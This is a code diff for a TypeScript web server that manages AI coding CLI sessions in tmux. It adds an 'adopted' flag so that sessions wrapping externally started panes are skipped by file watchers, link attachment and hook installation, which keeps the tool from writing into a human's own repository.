if (!isExternalCliMode(session.mode) && !session.isAdopted) {
|
||||
if (session.remote) {
|
||||
session.ralphTracker.setRemoteWorkingDir(session.workingDir);
|
||||
} else {
|
||||
@@ -2217,8 +2220,10 @@ export class WebServer extends EventEmitter {
|
||||
|
||||
// Start watching for new images in this session's working directory (if enabled globally and per-session).
|
||||
// A remote session's workingDir is a path on the remote host, and the watcher watches it on the LOCAL
|
||||
// disk, so it is skipped there (the per-session and app-wide toggles skip it too).
|
||||
if ((await this.isImageWatcherEnabled()) && session.imageWatcherEnabled && !session.remote) {
|
||||
// disk, so it is skipped there (the per-session and app-wide toggles skip it too). An ADOPTED session
|
||||
// is skipped for the same reason as the Ralph watcher above: nothing in its wrapper folder is the
|
||||
// foreign pane's work.
|
||||
if ((await this.isImageWatcherEnabled()) && session.imageWatcherEnabled && !session.remote && !session.isAdopted) {
|
||||
imageWatcher.watchSession(session.id, session.workingDir);
|
||||
}
|
||||
|
||||
@@ -2305,6 +2310,9 @@ export class WebServer extends EventEmitter {
|
||||
): Promise<void> {
|
||||
const session = this.sessions.get(sessionId);
|
||||
if (!session) return;
|
||||
// ⚠️ A link scanned from an adopted pane was printed by a process on another host or in a
|
||||
// container, while confinement here would be to this host's `/tmp`, the wrapper's folder.
|
||||
if (session.isAdopted) return;
|
||||
const event =
|
||||
source === 'codex-generated'
|
||||
? await registerGeneratedArtifactAttachment({
|
||||
@@ -4152,6 +4160,14 @@ export class WebServer extends EventEmitter {
|
||||
// MuxSession.docker; state.json carries SessionState.docker), so recovery
|
||||
// rebuilds the `docker exec` launch instead of a broken local command.
|
||||
docker: muxSession.docker ?? savedState?.docker,
|
||||
// Adoption metadata round-trips for the same reason remote/docker do,
|
||||
// and one more: it is the ONLY thing that marks this session as
|
||||
// wrapping a process Codeman never launched. Dropping it on recovery
|
||||
// silently re-enabled respawn, Ralph and hook-backed waits against
|
||||
// someone else's live tmux session after every server restart —
|
||||
// measured, not hypothetical. The mux record is preferred because it
|
||||
// is what `killSession`'s detach-not-kill guard already reads.
|
||||
adopt: muxSession.adopt ?? savedState?.adopt,
|
||||
owner: recoveredOwner,
|
||||
// Tab lineage survives a restart. It is only decoration, so a parent
|
||||
// that did NOT come back is harmless: the frontend draws an edge only
|
||||
@@ -4435,6 +4451,13 @@ export class WebServer extends EventEmitter {
|
||||
const workspaces = new Set<string>();
|
||||
for (const session of this.sessions.values()) {
|
||||
if (session.mode !== 'claude' || session.remote) continue;
|
||||
// ⚠️ An ADOPTED session is not caught by the `remote` check above: its
|
||||
// connection facts live on `adopt.remote` / `adopt.docker`, so a session
|
||||
// wrapping someone's in-container or over-ssh claude looks local here.
|
||||
// Its workspace was never Codeman's to begin with, so installing hooks
|
||||
// there writes `.claude/settings.local.json` into the human's own repo —
|
||||
// on EVERY restart, since this sweep runs from boot recovery.
|
||||
if (session.isAdopted) continue;
|
||||
if (session.docker && !session.docker.hooksEnabled) continue;
|
||||
if (session.workingDir) workspaces.add(session.workingDir);
|
||||
}
|
||||
|
||||
@@ -200,6 +200,18 @@ export interface HookCapabilityOptions {
|
||||
* timeout on every turn.
|
||||
*/
|
||||
deepSeekBridgeUnreachable?: boolean;
|
||||
/**
|
||||
* True when the session is a WRAPPER around a tmux session a human started
|
||||
* outside Codeman.
|
||||
*
|
||||
* This one overrides the mode entirely, and it has to: an adopted session can
|
||||
* be `mode: 'claude'` and still have no hooks, because hooks are installed into
|
||||
* a WORKSPACE at session-create time (`applyWorkspaceHooks`) and we never
|
||||
* created this one. Answering from the mode there would promise `stop` and
|
||||
* `blocked` for a process that can never post either — the exact
|
||||
* infinite-wait-dressed-as-a-timeout this predicate exists to prevent.
|
||||
*/
|
||||
adopted?: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -234,6 +246,9 @@ export interface HookCapabilityOptions {
|
||||
* function only about hook SIGNALS.
|
||||
*/
|
||||
export function hooksAvailableForMode(mode: SessionMode, options: HookCapabilityOptions = {}): boolean {
|
||||
// Checked BEFORE the mode: adoption is about who launched the process, and no
|
||||
// mode can vouch for a workspace Codeman never touched. See `adopted` above.
|
||||
if (options.adopted) return false;
|
||||
// A TRI-state capability, not a boolean, because the three answers are genuinely
|
||||
// different questions — see CliCapabilities.hooks.
|
||||
switch (getCli(mode)?.capabilities.hooks) {
|
||||
@@ -269,10 +284,12 @@ export function sessionHookOptions(session: {
|
||||
deepSeekStatusReporting?: boolean;
|
||||
docker?: unknown;
|
||||
remote?: unknown;
|
||||
adopt?: unknown;
|
||||
}): HookCapabilityOptions {
|
||||
return {
|
||||
deepSeekStatusReporting: session.deepSeekStatusReporting,
|
||||
deepSeekBridgeUnreachable: Boolean(session.docker || session.remote),
|
||||
adopted: Boolean(session.adopt),
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
Reference in new issue
Block a user